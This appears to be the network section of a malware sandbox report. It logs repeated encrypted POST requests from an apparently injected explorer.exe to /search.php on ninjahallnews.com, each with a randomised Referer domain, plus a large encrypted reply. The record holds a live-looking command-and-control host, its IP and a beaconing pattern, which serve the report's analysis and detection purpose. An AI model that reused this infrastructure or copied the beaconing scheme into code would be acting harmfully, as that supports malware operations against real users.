2024-10-08 16:24:24 UTC	281	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 69 34 01 83 b7 25 93 3c 5f aa 1a e7 98 a4 1f 31 ad 6d 2d a3 51 d4 c8 65 65 fe 07 2c 24 d7 e9 db 38 eb c7 02 03 9f 8f 58 af 75 56 8b 84 6b 32 38 5f 40 51 ee 34 d0 91 84 3d ff 99 2c 3a 03 fc 63 3f b7 2b 53 8b d8 ad 9f 5c 35 ca 13 dc 35 af 1a 45 94 45 c3 28 6c 4d 72 65 fb ed 19 fc af 24 f8 34 11 c6 e2 85 1b ad 91 75 f5 99 89 87 58 4f c8 b5 aa 4c 3e 81 73 3e fb 11 60 3f fb 7d 32 7f fc 3b 13 0b f9 da 8a 7c 26 d1 b2 78 a9 59 8e a3 e7 3c 73 03 75 f2 1f 11 1c 47 0e e3 1e 90 a6 1c 20 6b 65 35 c7 f1 32 2f 49 17 cd 93 9f 1a 89 c9 65 db 5a a3 ba b4 d9 59 cd 2b Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Li4%<_1m-Qee,$8XuVk28_@Q4=,:c?+S\55EE(lMre$4uXOL>s>`?}2;\|&xY<suG ke52/IeZY+
2024-10-08 16:24:24 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:24 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	61438	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:25 UTC	285	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://kygmejbuqfed.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 209 Host: ninjahallnews.com
2024-10-08 16:24:25 UTC	209	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6e 34 01 83 b7 25 93 3c 26 f1 6e 82 de fc 30 1d e6 36 61 e0 28 90 f1 1d 14 fd 0c 08 74 c4 b6 82 6d ee f4 67 76 e9 a1 4c af 33 26 ab de 01 29 76 44 4b 01 e6 2a 9e f4 bc 07 e6 fd 64 12 0b 99 73 36 d5 47 56 e7 93 ea b9 58 08 de 10 a2 6d 9b 66 59 d1 39 81 6d 6c 28 7e 69 a2 f1 19 98 91 27 84 44 76 d0 d0 ae 59 ed a4 74 b9 df ff 97 02 6c d3 ae 91 1c 2e a4 6c 4b da 03 48 30 a0 6f 11 49 dd 51 09 4e df ba fd 33 2c ac ed 40 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Ln4%<&n06a(tmgvL3&)vDK*ds6GVXmfY9ml(~i'DvYtl.lKH0oIQN3,@
2024-10-08 16:24:26 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:25 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	61439	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:27 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://oearusgjpsibxo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 366 Host: ninjahallnews.com
2024-10-08 16:24:27 UTC	366	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6f 34 01 83 b7 25 93 3c 46 ae 12 fb bd a1 26 14 a8 08 3c bd 3e c7 f1 3f 61 fd 2b 05 73 c4 e4 f0 23 b3 cd 66 1c fa ff 20 8d 4c 47 be 86 56 64 73 7a 03 5a c3 7f de e5 d3 50 ce fc 29 23 52 f0 7e 5e bc 41 6d c8 d5 99 9f 45 0d d7 45 f5 35 88 0f 5a ba 06 d7 33 47 4b 12 66 ca a9 0e a3 87 10 f9 37 69 f5 b4 85 52 aa 94 7b eb cb ac 8f 46 75 82 d6 97 02 35 a7 04 28 d5 7b 5a 0b a3 69 2e 5b bd 5c 17 57 f1 97 8e 1d 55 cd f7 68 f5 38 97 fa d2 63 6e 07 39 a0 6b 61 5d 20 00 c0 17 e8 92 73 58 2d 73 3b f6 9e 5b 49 2b 39 bc 84 da 3e d6 d6 32 82 2c b8 bb bb b3 02 aa 2d Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Lo4%<F&<>?a+s#f LGVdszZP)#R~^AmEE5Z3GKf7iR{Fu5({Zi.[\WUh8cn9ka] sX-s;[I+9>2,-
2024-10-08 16:24:27 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:27 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	61440	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:27 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://bkkawsblriievtha.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 256 Host: ninjahallnews.com
2024-10-08 16:24:28 UTC	256	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6c 34 01 83 b7 25 93 3c 7f e4 1a b8 8b c9 00 17 d3 18 75 e8 63 c5 db 36 74 ab 79 38 27 c6 b8 f7 4a bd df 07 10 d2 f7 77 87 50 7b ee d2 19 2c 7f 47 1c 51 ec 14 8d 81 bb 5e 96 f9 6f 62 02 93 05 51 f6 49 00 82 ff e0 cf 02 19 cf 5d a4 23 97 38 7e b4 00 9b 78 51 2a 14 47 ad f9 64 fd 8f 10 ef 14 2c f5 dd d0 5f ae b9 62 e5 ba ea af 4e 6c cf 83 d2 62 2a b1 5d 1e d9 2a 7b 24 81 2c 70 5a f2 35 32 22 e0 d9 99 2e 55 d0 c7 72 94 79 c8 a3 e2 03 02 20 4b c5 77 09 19 15 1c a7 25 f2 a5 0a 53 21 57 06 ec 8c 4f 2b 29 4f af 8d f4 1c f2 d2 71 e1 49 c4 8c a7 9b 5c a0 23 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Ll4%<uc6ty8'JwP{,GQ^obQI]#8~xQGd,_bNlb]*{$,pZ52".Ury Kw%S!WO+)OqI\#
2024-10-08 16:24:28 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:28 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	61441	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:28 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://cdxudjgvudlubb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 112 Host: ninjahallnews.com
2024-10-08 16:24:28 UTC	112	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6d 34 01 83 b7 25 93 3c 3d ac 6a 8e a2 c8 2c 09 f1 03 3b 9c 5b d5 e4 0f 37 b2 69 2b 7d ca f8 e1 73 e1 dc 6a 50 f2 84 41 95 03 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Lm4%<=j,;[7i+}sjPA
2024-10-08 16:24:29 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:29 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	61442	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:29 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://mdlgxwobmimrfsiq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 139 Host: ninjahallnews.com
2024-10-08 16:24:29 UTC	139	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 62 34 01 83 b7 25 93 3c 7f c2 79 b3 aa d9 16 59 d0 7b 1b a1 7f c4 d5 14 19 f6 31 53 3b a7 b5 e3 2c ae e8 50 1e 80 ed 78 a3 4a 7b 91 e7 5e 09 38 19 57 3f e2 6f b3 c2 96 34 91 fe 53 2e 53 8d 74 2a b0 7e 6f ae Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Lb4%<yY{1S;,PxJ{^8W?o4S.St*~o
2024-10-08 16:24:30 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:29 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	61443	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:30 UTC	285	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://kdihkbbguxoo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 264 Host: ninjahallnews.com
2024-10-08 16:24:30 UTC	264	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 63 34 01 83 b7 25 93 3c 5b b3 74 84 a4 ce 55 51 f1 7d 07 b4 35 cb f2 0a 32 c0 39 25 4f d0 cc c3 65 ad ea 51 79 d6 fb 36 83 55 7b 81 c0 0a 36 64 60 17 44 fb 3c c5 e8 84 32 85 b2 57 79 5e 82 5c 35 bd 6e 6e 86 d7 a5 c8 3f 03 bf 57 bc 23 bf 37 65 ad 4b c3 56 65 63 2d 5b e6 e3 79 8e c2 16 f3 2e 70 8b f2 b5 28 a2 91 5e 95 d7 fa c6 5d 3a bf 87 99 07 34 8f 61 3c ff 7b 7a 33 bc 32 22 63 c3 40 3e 5d ec 90 f1 7e 59 a8 c3 21 e6 2d c5 a8 d7 7e 3c 7e 75 d4 5f 2b 5d 4f 75 b9 1c a7 be 7e 13 04 3a 2d 9e a6 42 50 2a 3d a6 f8 f0 34 d1 b1 29 e0 63 db eb ca 83 44 db 2c Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Lc4%<[tUQ}529%OeQy6U{6d`D<2Wy^\5nn?W#7eKVec-[y.p(^]:4a<{z32"c@>]~Y!-~<~u_+]Ou~:-BP*=4)cD,
2024-10-08 16:24:30 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:30 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	61444	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:31 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://kwisrrqgrmlvi.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 176 Host: ninjahallnews.com
2024-10-08 16:24:31 UTC	176	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 60 34 01 83 b7 25 93 3c 46 ca 69 8e 81 ba 13 06 ec 1d 3b e9 44 ca 98 6c 0a b4 6f 37 61 a5 de 91 21 f3 b6 03 19 9f a0 20 b8 3d 55 8c d1 0c 13 6b 10 21 0a c1 67 9b 9d d3 5f 92 bc 53 6c 32 b0 5f 48 d3 67 16 9e c0 ed db 31 1f d2 5a b9 33 8c 7f 53 cc 36 9d 52 75 7b 0a 74 a6 f4 68 93 a9 6e d3 17 64 d8 fa 97 2f d7 e0 1a d9 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@L`4%<Fi;Dlo7a! =Uk!g_Sl2_Hg1Z3S6Ru{thnd/
2024-10-08 16:24:32 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:32 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	61445	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:32 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://ntbrsmlnvptwiq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 262 Host: ninjahallnews.com
2024-10-08 16:24:32 UTC	262	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 61 34 01 83 b7 25 93 3c 5e d9 37 fd 97 a0 25 55 ce 1f 3b 88 6a c8 97 06 37 be 74 2d 7b a0 a4 e9 77 cc a9 7c 53 db 97 56 89 3f 44 82 8c 11 3f 74 47 49 24 8e 7d d6 81 cf 1d fe 8c 3f 11 46 f9 6b 49 e7 48 0a f6 8f f6 ac 55 3a 8c 74 b5 7d f6 7c 4b 9a 4e 8c 45 7b 22 07 74 e6 d3 17 b4 8d 6a 96 47 1b 96 d4 bc 2b cb ff 10 b7 b8 a1 9c 57 46 b4 81 c9 60 37 d7 42 3c ef 38 72 53 e5 2e 12 77 f2 18 36 4f de d2 9e 15 78 96 cd 78 eb 5e c2 c7 a5 12 60 28 6a f7 6b 68 4e 39 0b bd 21 fd b7 79 23 00 33 08 9a fb 42 39 07 36 b6 e5 8f 16 e6 aa 28 db 5b b5 bd ae de 07 d2 50 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@La4%<^7%U;j7t-{w\|SV?D?tGI$}?FkIHU:t}\|KNE{"tjG+WF`7B<8rS.w6Oxx^`(jkhN9!y#3B96([P
2024-10-08 16:24:33 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:32 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	61446	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:33 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://iymhwcsxyfccua.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 344 Host: ninjahallnews.com
2024-10-08 16:24:33 UTC	344	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 66 34 01 83 b7 25 93 3c 37 f7 0b ee d4 f6 16 3d f7 02 31 8b 5e e2 9f 17 2a df 70 05 4b b9 bc 8f 3a df ea 41 72 fe a1 53 86 4c 5e f9 e9 04 71 22 4f 15 48 e9 05 df 8e b9 2f 8e a8 23 14 4d e6 17 24 f2 22 15 fd ec 96 c5 3e 08 bc 7e d9 2a b3 7a 31 bd 57 9f 7b 20 33 7e 58 eb fb 0b a2 99 6b 89 1c 33 f5 b3 d2 0a d4 fe 0b f8 99 fa b9 2c 5d d1 c5 be 15 0b a9 4e 36 d8 70 14 32 8e 68 75 78 d2 31 04 51 f3 92 d8 0e 52 af a9 00 e3 34 dd c2 c9 72 23 22 2b cc 0e 3d 18 39 30 c8 3f e7 b7 7a 3a 65 76 54 9a bd 36 20 28 52 c6 f6 f3 2f de fc 3e fb 27 81 fb b5 95 0d 8e 62 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Lf4%<7=1^pK:ArSL^q"OH/#M$">~z1W{ 3~Xk3,]N6p2hux1QR4r#"+=90?z:evT6 (R/>'b
2024-10-08 16:24:34 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:33 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	61447	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:35 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://pyvpiskjnabcb.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 310 Host: ninjahallnews.com
2024-10-08 16:24:35 UTC	310	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 67 34 01 83 b7 25 93 3c 41 df 6e ee ac ee 0e 3f ca 76 16 85 5e 8b d1 62 7a c3 2e 29 70 bc c2 91 3a d1 a6 60 79 8d ea 44 bf 30 70 f3 f5 6a 04 3e 0b 2b 4a df 1f aa ec d4 24 8d 97 2b 16 13 e6 6f 24 b5 70 55 94 8c ff 84 56 73 a8 5a b1 4c 88 39 71 b6 21 d9 7a 4e 2c 78 41 d7 b2 6b fa bb 16 dd 24 76 e3 fd d6 10 e5 fe 5d b7 c4 93 ad 08 4d d1 ca da 73 08 d0 63 39 ec 6b 14 12 86 3a 6e 21 df 33 74 40 85 95 c2 05 78 b5 a4 72 ea 34 db d0 d1 0f 6a 39 2d a2 09 0e 4d 1a 7a b5 4d b9 d9 2d 59 10 54 03 88 e6 6d 79 1d 43 85 90 ce 48 95 a3 37 d2 2c cb 98 e5 b6 65 d5 21 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Lg4%<An?v^bz.)p:`yD0pj>+J$+o$pUVsZL9q!zN,xAk$v]Msc9k:n!3t@xr4j9-MzM-YTmyCH7,e!
2024-10-08 16:24:35 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:35 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	61448	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:36 UTC	284	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://ndvftlyrsws.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 353 Host: ninjahallnews.com
2024-10-08 16:24:36 UTC	353	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 64 34 01 83 b7 25 93 3c 3d ea 7b f4 cc d0 11 2c ad 3b 6b ea 7b c1 80 20 38 e7 15 58 3b ca cb d4 47 ed c8 68 15 f5 91 27 85 72 62 f1 fd 63 00 27 70 14 1f f4 6f c4 e8 b7 25 f3 fc 4f 07 01 a7 5d 52 ea 7e 61 9d e9 8c b7 17 79 89 67 e6 29 e0 7d 31 d6 41 d2 29 3f 6c 30 65 c5 d9 15 e7 9b 17 8c 29 7e da e3 8d 36 c1 f9 08 fc d1 8c d7 4a 79 bb 8f dc 7b 2e d6 7d 5d c8 02 0c 17 96 4b 1b 34 a3 43 3d 44 fe a9 8e 7d 49 a2 d4 3a 96 77 ca b8 dd 6d 3e 21 59 fe 16 2c 58 0d 61 ac 54 ee de 7f 46 13 3e 04 e2 a2 3a 4a 52 3d b0 82 ee 2b 87 a5 38 87 7d cc 9f c2 89 1c 8f 58 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Ld4%<={,;k{ 8X;Gh'rbc'po%O]R~ayg)}1A)?l0e)~6Jy{.}]K4C=D}I:wm>!Y,XaTF>:JR=+8}X
2024-10-08 16:24:36 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:36 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	61449	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:36 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://vsqfnosbtpkyeiw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 291 Host: ninjahallnews.com
2024-10-08 16:24:36 UTC	291	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 65 34 01 83 b7 25 93 3c 58 c1 05 b6 87 c7 5a 40 b7 2f 12 eb 46 86 d0 74 75 c9 28 50 7e a4 cc ed 41 f1 ec 11 07 80 be 28 87 2c 25 ba 87 6b 0f 25 1c 3e 03 e4 6c c1 f9 ab 46 fd 94 3e 2c 39 8f 02 2d a1 47 6f 90 cb b1 b8 20 7d d3 42 a7 7c 83 1a 21 d0 5a 8b 5f 3a 3a 3d 67 ab ed 6b ed ab 71 ee 57 0e ce be b8 38 b3 eb 47 f1 b3 98 9b 23 6c 87 86 ba 06 59 aa 57 2d 8b 6c 13 2a 8b 7f 3c 61 e7 48 1f 02 d9 d7 9a 61 4c be da 23 a1 21 cc d5 c3 68 30 20 7c ce 00 69 4d 29 7a ed 50 fd c9 7e 0f 64 66 15 80 b1 48 2d 51 0f de fe ec 13 f0 a3 1e d0 5b 90 93 c9 8b 77 99 4c Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Le4%<XZ@/Ftu(P~A(,%k%>lF>,9-Go }B\|!Z_::=gkqW8G#lYW-l*<aHaL#!h0 \|iM)zP~dfH-Q[wL
2024-10-08 16:24:37 UTC	294	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 16:24:37 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Connection: close Transfer-Encoding: chunked
2024-10-08 16:24:37 UTC	7898	IN	Data Raw: 31 65 65 37 0d 0a 00 00 b5 50 0f 6d f7 61 d7 e7 49 78 ba 09 bf db 6e 5b 92 64 4f 0c f1 aa 5d 78 6e 1d 37 6e a3 bf 51 b7 61 50 c8 4c 75 ec 96 6c 61 47 6f 72 d9 5d 28 4a c9 17 cf ae b0 92 75 82 7c d6 cc 92 b4 cc 04 6e 80 d9 27 08 88 90 7c 25 38 3b 06 b0 d9 98 1f b3 ee 24 b2 8e 94 c4 c7 84 78 7f df ff 07 32 07 d4 23 b4 c2 cf a3 d9 18 29 4c b6 6d 7e 16 31 ba 88 9c 6f 27 9e 77 77 ec 42 27 39 f1 c8 b5 0f 2b 2c 37 f5 27 0c ee 96 8c 2c eb 7f 13 2a 58 0b a1 c6 4a a5 04 a5 ee 06 88 e3 1d 96 d0 4c d7 1a 1c 0b 6e 31 a2 fd 08 4f 89 d7 29 16 31 bd a7 21 aa 5c b5 b5 55 45 44 dc a1 75 85 c1 e8 06 3a f3 80 41 02 4f fe 76 f4 a8 10 4e 8c 77 26 ec 91 05 1d da 3e 11 60 70 e2 86 3d ef 6e dd fe db a9 55 d9 c9 5b 8a 82 ba 08 34 ee fb c7 34 41 b5 cd 3a 1d 0c d7 46 85 07 8f 3d 07 Data Ascii: 1ee7PmaIxn[dO]xn7nQaPLulaGor](Ju\|n'\|%8;$x2#)Lm~1o'wwB'9+,7',*XJLn1O)1!\UEDu:AOvNw&>`p=nU[44A:F=
